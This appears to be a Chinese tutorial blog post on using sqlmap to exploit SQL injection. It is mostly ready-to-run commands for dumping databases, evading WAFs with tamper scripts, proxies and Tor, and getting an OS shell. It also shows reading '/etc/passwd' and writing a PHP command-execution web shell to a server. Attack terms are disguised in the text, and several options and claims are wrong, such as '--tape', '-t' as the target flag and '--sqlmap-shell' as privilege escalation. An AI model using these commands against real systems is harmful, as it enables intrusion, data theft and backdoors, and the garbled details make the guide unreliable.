post方法自动注入
SQLMap是一款功能强大的自动化SQL注入工具,支持多种数据库和注入方式,其中包括POST注入。下面是使用SQLMap进行POST注入的步骤:
确认目标网站存在POST注入漏洞,可以使用Burp Suite等工具进行抓包分析。
打开命令行窗口,输入以下命令,指定目标URL和POST数据:
python sqlmap.py -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST
其中,-u参数指定目标URL,–data参数指定POST数据,–method参数指定请求方法为POST。
SQLMap会自动检测目标是否存在注入漏洞,并列出所有检测到的注入点。
选择要测试的注入点,输入以下命令:
python sqlmap.py -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST -p username --dbms mysql --level 2 --risk 2 --dbs
其中,-p参数指定要测试的注入点,–dbms参数指定目标数据库类型,–level参数指定测试等级,–risk参数指定测试风险,–dbs参数指定要获取的数据库列表。
SQLMap会自动测试注入点,获取数据库信息,并列出所有检测到的数据库。
选择要测试的数据库,输入以下命令:
python sqlmap.py -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST -p username --dbms mysql --level 2 --risk 2 -D dbname --tables
其中,-D参数指定要测试的数据库名称,–tables参数指定要获取的数据表列表。
SQLMap会自动测试数据库,获取数据表信息,并列出所有检测到的数据表。
选择要测试的数据表,输入以下命令:
python sqlmap.py -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST -p username --dbms mysql --level 2 --risk 2 -D dbname -T tablename --columns
其中,-T参数指定要测试的数据表名称,–columns参数指定要获取的数据列列表。
SQLMap会自动测试数据表,获取数据列信息,并列出所有检测到的数据列。
选择要测试的数据列,输入以下命令:
python sqlmap.py -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST -p username --dbms mysql --level 2 --risk 2 -D dbname -T tablename -C columnname --dump
其中,-C参数指定要测试的数据列名称,–dump参数指定要获取的数据列内容。
SQLMap会自动测试数据列,获取数据列内容,并输出所有检测到的数据列内容。
高级扫描方案
细化扫描行为:
指定扫描参数,用于AWVS扫描出具体sql注入漏洞的参数,之后使用sqlmap进行利用,这样可以用节省大量扫描的时间:
-p xxx
例如:(指定扫描ho参数)
python sqlmap.py -u "http://xxx/m_new/pages/as/as_list.php?code=WGO&mac=''&dnotallow=''&ho=''&wpip=''&deip=''&lang=''" --risk=3 --level=5 --random-agent --dbs -p ho
设置代理访问,用于扫描国内代理无法到达的站点:
--proxy http://127.0.0.1:7890
例如:
python sqlmap.py -u "http://xxx/m_new/pages/as/as_list.php?code=WGO&mac=''&dnotallow=''&ho=''&wpip=''&deip=''&lang=''" --risk=3 --level=5 --random-agent --dbs -p ho --proxy http://127.0.0.1:7890
指定扫描的数据库,用于已知对方数据库类型的情况进行扫描:
--dbms=mysql
指定扫描使用的payload:(此处使用报错注入)
--technique E
拒绝重定向:
--ignore-redirects
指定扫描使用的语句:
--suffix " and '1'='1"
绕过waf
solmap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用 --tape 参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换公鸡载荷字符编码的方式尝试绕过WAF的检测规则。sqlmap目前官方提供53绕过脚本。
识别网站有无waf,可以使用kali里面的工具: wafwoof
如下的网站不存在waf:
sqlmap参数绕过:
#使用参数进行绕过 --random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候 --time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时 --hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上 --proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过 --ignore-proxy 禁止使用系统的代理,直接连接进行注入 --flush-session 清空会话,重构注入 --hex 或者 --no-cast 进行字符码转换 --mobile 对移动端的服务器进行注入 --tor 匿名注入 --tamper charencode 使用url编码绕过waf
指定脚本进行绕过 ( --tamper):
有些时候网站会过滤掉各种字符,可以用tamper来解决 (对付某些wa时也有成效sqlmap 官方提供了53个绕过脚本,脚本目录在 /usr/share/sglmap/tamper 中
指定单个脚本进行绕过:
sqlmap -u "http://xxx/Less-1/?id=1" --tamper=space2plus.py
指定多个脚本进行绕过:
sqlmap -u "http://xxx/Less-1/?id=1" --tamper="space2comment.py,space2plus.py"
探测等级和危险等级(-level -risk)
sqlmap一共有5个探测等级,默认是1,等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破jie出cookieXFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTPcookie 在level为2时就会测试,HTTP User-Agent/Referer 头在level为3时就会测试,在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
在不确定哪个参数为注入点时,这个是什么意思呢,也就是说你不确定这个网站的那个参数存在SQL注入漏洞,之前的探测payload我们都会在之前添加一个 ?id=1,代表我们已知了参数注入点
solmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级,和探测等级一个意思,在不确定的情况下,建议设置为3级
如下,设置探测等级5,平台危险等级3,都是最高级别,进行扫描:
sqlmap -u "http://xxx:7777/Less-1/" --level=5 --risk=3
伪造 Http Referer头部
sqlmap可以在请求中伪造HTTP中的referer
例如,可以这样来伪造百度的referer头部
--referer http://www.baidu.com
然后执行指定的sql语句(--sql-shell)
sqlmap -u "http://xxx/sqli/Less-1/?id=1" --sql-shell
然后会提示我们输入要查询的sql语句,注意这里的SQL语句最后不要有分号!!!
执行sql查询:
执行操作系统命令(-os-shell)
在数据库为MySQL、PostgreSql或者SQL Server时,可以通过sqlmap执行操作系统命令
当为MySQL数据库时,需满足下面条件:
当前用户为 root
知道网站根目录的绝对路径
sqlmap -u "http://xxx:7777/Less-1/?id=1" --os-shell
接下来让我们选择网站的脚本语言:
which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default)
往下,接下来让我们判断网站可写目录的方法:
what do you want to use for writable directory? [1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default) [2] custom location(s) [3] custom directory list file [4] brute force search 【1】使用公共的默认目录(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/) 【2】自定义网络根目录绝对路径 【3】指定自定义的路径文件 【4】暴力破
执行os-shel的过程中,sqmap会向网站根目录写入两个文件 tmpblwkd.php 和 tmpueqch.php 。真正的木ma文件是 tmpblwkd.php 。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入或 q 退出 salmap 时,该文件才会被自动删除.
读取服务器文件(-file-read)
当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件.
例如我们要读取目标服务器C盘的test.txt文件:
sqlmap -u "http://xxx/sqli/Less-4/?id=1" --file-read "c:/test.txt"
上传文件到数据库服务器中(-file-write -file-dest)
当数据库为MySQL、Postore SQL或者Sal Server通过powershel写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件
所以利用上传文件,我们可以上传一句话木ma或者上传shell上去前提是我们知道目标服务器的绝对路径
python2 sqlmap.py -u http://xxx/sqli-labs/Less-2/?id=1 --file-write C:\Users\mi\Desktop\1.php --file-dest "C:\phpStudy\PHPTutorial\WWW\2.php" #将本地的C:\Users\mi\Desktop\1.php文件上传到目标服务器C:\phpStudy\PHPTutorial\WWW\2.php
知识拓扑
带参数注入
SQLmap是一款自动化的SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞。下面是SQLmap带参数注入的演示:
假设我们有一个目标URL为:http://example.com/index.php?id=1,其中id参数存在注入漏洞。我们可以使用以下命令来检测和利用该漏洞:
sqlmap -u "http://example.com/index.php?id=1" --level=5 --risk=3
其中,-u参数指定目标URL,–level和–risk参数分别指定注入测试的等级和风险级别。这里我们将等级设置为5,风险级别设置为3,以提高注入测试的准确性和效率。
如果SQLmap检测到注入漏洞,它将提示你是否要继续测试和利用该漏洞。如果你选择继续,SQLmap将自动检测数据库类型、获取数据库信息、枚举数据库表和列、获取数据等操作。
混淆注入
SQLmap支持多种注入技术和多种数据库管理系统,可以通过使用不同的tamper脚本来混淆注入。下面是一个使用tamper脚本混淆注入的例子:
python sqlmap.py -u "http://example.com/index.php?id=1" --tamper=space2comment --level=5 --risk=3
上面的命令将使用space2comment tamper脚本来混淆注入,同时将检测等级设置为5,风险等级设置为3
可以在报文头部改变随机浏览器和支持模拟手机浏览器访问
代理注入
SQLmap代理注入可以通过指定user-agent和使用代理服务器来实现。以下是SQLmap代理注入的步骤:
1.使用-p参数指定要注入的参数,并使用–user-agent参数指定user-agent,例如:
sqlmap -u "http://example.com/index.php?id=1" -p "id" -v 2 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
2.使用–proxy参数指定代理服务器,例如:
sqlmap -u "http://example.com/index.php?id=1" -p "id" -v 2 --proxy "http://127.0.0.1:8080"
其中,127.0.0.1:8080是代理服务器的地址和端口号。
请注意,使用代理服务器可能会导致SQL注入公鸡被检测到,因此请谨慎使用
高级注入
SQLmap是一款自动化SQL注入工具,可以用于检测和利用SQL注入漏洞。以下是SQLmap高级注入的一些技巧和方法:
使用代理进行注入:使用–proxy参数指定代理服务器,例如–proxy=http://127.0.0.1:8080。
使用-t参数指定目标URL:例如-t http://example.com/index.php?id=1。
使用–level和–risk参数指定注入等级和风险等级:例如–level=5 --risk=3。
使用–dbs参数获取数据库名称:例如–dbs。
使用–tables参数获取数据库中的表名:例如–tables -D dbname。
使用–columns参数获取表中的列名:例如–columns -D dbname -T tablename。
使用–dump参数获取表中的数据:例如–dump -D dbname -T tablename。
使用–os-shell参数获取操作系统的shell:例如–os-shell。
使用–sql-shell参数获取SQL shell:例如–sql-shell。
使用–file-read参数读取文件内容:例如–file-read=/etc/passwd。
使用–file-write参数写入文件内容:例如–file-write=/var/www/html/shell.php --payload=“<?php system($_GET[‘cmd’]); ?>”。
使用–tamper参数绕过WAF:例如–tamper=space2comment。
数据获取
说明
语法
SQLmap是一款自动化SQL注入工具,可以用于获取目标网站的数据库信息。使用SQLmap获取数据的步骤如下:
确定目标网站存在SQL注入漏洞,并使用SQLmap进行检测。例如,使用以下命令检测目标网站是否存在注入漏洞:
sqlmap -u "http://www.example.com/index.php?id=1" --dbs
其中,-u参数指定目标URL,--dbs参数表示获取数据库信息。
如果目标网站存在注入漏洞,则使用SQLmap获取数据库信息。例如,使用以下命令获取目标网站的所有数据库:
sqlmap -u "http://www.example.com/index.php?id=1" --dbs
使用以下命令获取指定数据库的所有表:
sqlmap -u "http://www.example.com/index.php?id=1" -D dbname --tables
使用以下命令获取指定表的所有列:
sqlmap -u "http://www.example.com/index.php?id=1" -D dbname -T tablename --columns
使用以下命令获取指定列的所有数据:
sqlmap -u "http://www.example.com/index.php?id=1" -D dbname -T tablename -C columnname --dump
其中,-D参数指定数据库名称,-T参数指定表名称,-C参数指定列名称,--dump参数表示获取数据。
举例
提权操作
文件读写
根据提供的引用内容,SQLmap提权是指通过利用SQL注入漏洞,获取目标系统的权限。具体来说,可以通过以下两种方式进行提权:
1.使用–os-shell参数获取交互式shell,从而执行系统命令,获取系统权限。
2.使用–sqlmap-shell参数获取SQLmap自带的交互式shell,从而执行SQLmap命令,获取系统权限。
下面是两种方式的具体操作步骤:
1.使用–os-shell参数获取交互式shell
python sqlmap.py -u "http://www.example.com/vuln.php?id=1" --os-shell
上述命令中,-u参数指定了目标URL,–os-shell参数表示获取交互式shell。执行该命令后,SQLmap会尝试利用注入漏洞获取系统权限,并打开一个交互式shell,可以在其中执行系统命令。
2.使用–sqlmap-shell参数获取SQLmap自带的交互式shell
python sqlmap.py -u "http://www.example.com/vuln.php?id=1" --sqlmap-shell
上述命令中,-u参数指定了目标URL,–sqlmap-shell参数表示获取SQLmap自带的交互式shell。执行该命令后,SQLmap会尝试利用注入漏洞获取系统权限,并打开一个交互式shell,可以在其中执行SQLmap命令。
举例
与数据库交互
SQLmap是一款自动化SQL注入工具,可以用于检测和利用SQL注入漏洞。它可以与多种数据库进行交互,包括MySQL,Oracle,PostgreSQL等。下面是SQLmap与MySQL数据库交互的示例:
1.首先,使用以下命令启动SQLmap:
sqlmap -u "http://example.com/page.php?id=1" --dbs
其中,-u选项指定了目标URL,–dbs选项告诉SQLmap列出所有可用的数据库。
2.接下来,使用以下命令指定要使用的数据库:
sqlmap -u "http://example.com/page.php?id=1" -D dbname --tables
其中,-D选项指定了要使用的数据库名称,–tables选项告诉SQLmap列出所有可用的表。
3.然后,使用以下命令指定要使用的表:
sqlmap -u "http://example.com/page.php?id=1" -D dbname -T tablename --columns
其中,-T选项指定了要使用的表名称,–columns选项告诉SQLmap列出所有可用的列。
4.最后,使用以下命令指定要使用的列:
sqlmap -u "http://example.com/page.php?id=1" -D dbname -T tablename -C columnname --dump
其中,-C选项指定了要使用的列名称,–dump选项告诉SQLmap从该列中提取数据。
与操作系统交互
与metaspolit交互